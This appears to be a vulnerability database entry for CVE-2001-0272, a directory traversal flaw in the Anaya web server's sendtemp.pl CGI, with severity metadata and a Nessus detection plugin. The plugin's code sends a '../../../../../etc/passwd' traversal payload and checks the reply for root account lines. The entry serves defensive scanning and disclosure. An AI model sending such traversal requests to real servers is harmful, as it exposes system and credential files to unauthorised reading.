Vulnerabilities > CVE-2001-0272 - Directory Traversal vulnerability in Sendtemp.Pl

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
w3-org
nessus
exploit available
NVD
Published: 2001-05-03
Updated: 2008-09-05

Summary

Directory traversal vulnerability in sendtemp.pl in W3.org Anaya Web development server allows remote attackers to read arbitrary files via a .. (dot dot) attack in the templ parameter.

Vulnerable Configurations

Part Description Count
Application
W3.Org
1

Exploit-Db

descriptionsendtemp.pl Read Access to Files. CVE-2001-0272. Webapps exploit for cgi platform
idEDB-ID:289
last seen2016-01-31
modified2001-03-04
published2001-03-04
reporterTom Parker
sourcehttps://www.exploit-db.com/download/289/
titlesendtemp.pl Read Access to Files

Nessus

NASL familyCGI abuses
NASL idSENDTEMP.NASL
descriptionThe
last seen2020-06-01
modified2020-06-02
plugin id10614
published2001-02-15
reporterThis script is Copyright (C) 2001-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10614
titleW3.org Anaya Web sendtemp.pl 'templ' Parameter Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if(description)
{
 script_id(10614);
 script_version ("1.23");
 script_cve_id("CVE-2001-0272");
 script_bugtraq_id(2504);

 script_name(english:"W3.org Anaya Web sendtemp.pl 'templ' Parameter Traversal Arbitrary File Access");
 
 script_set_attribute(attribute:"synopsis", value:
"Arbitrary files may be read on the remote server.");
 script_set_attribute(attribute:"description", value:
"The 'sendtemp.pl' CGI is installed. This CGI has a well known
security flaw that allows an attacker read arbitrary files with the
privileges of the HTTP daemon.");
 script_set_attribute(attribute:"solution", value:
"Remove it from /cgi-bin." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2001/02/15");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/02/12");

 script_cvs_date("Date: 2018/07/27 18:38:14");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_summary(english:"Checks for the presence of /cgi-bin/sendtemp.pl");
 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2001-2018 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
 u = strcat(dir, "/sendtemp.pl?templ=../../../../../etc/passwd");
 r = http_send_recv3(port: port, method: "GET", item: u);
 if (isnull(r)) exit(0);
 if(egrep(pattern:".*root:.*:0:[01]:.*", string: r[1]+r[2]))
 {
  security_hole(port, extra: "Clicking on this URL should exhibit the flaw :\n" + build_url(port: port, qs: u));
  exit(0);
 }
}

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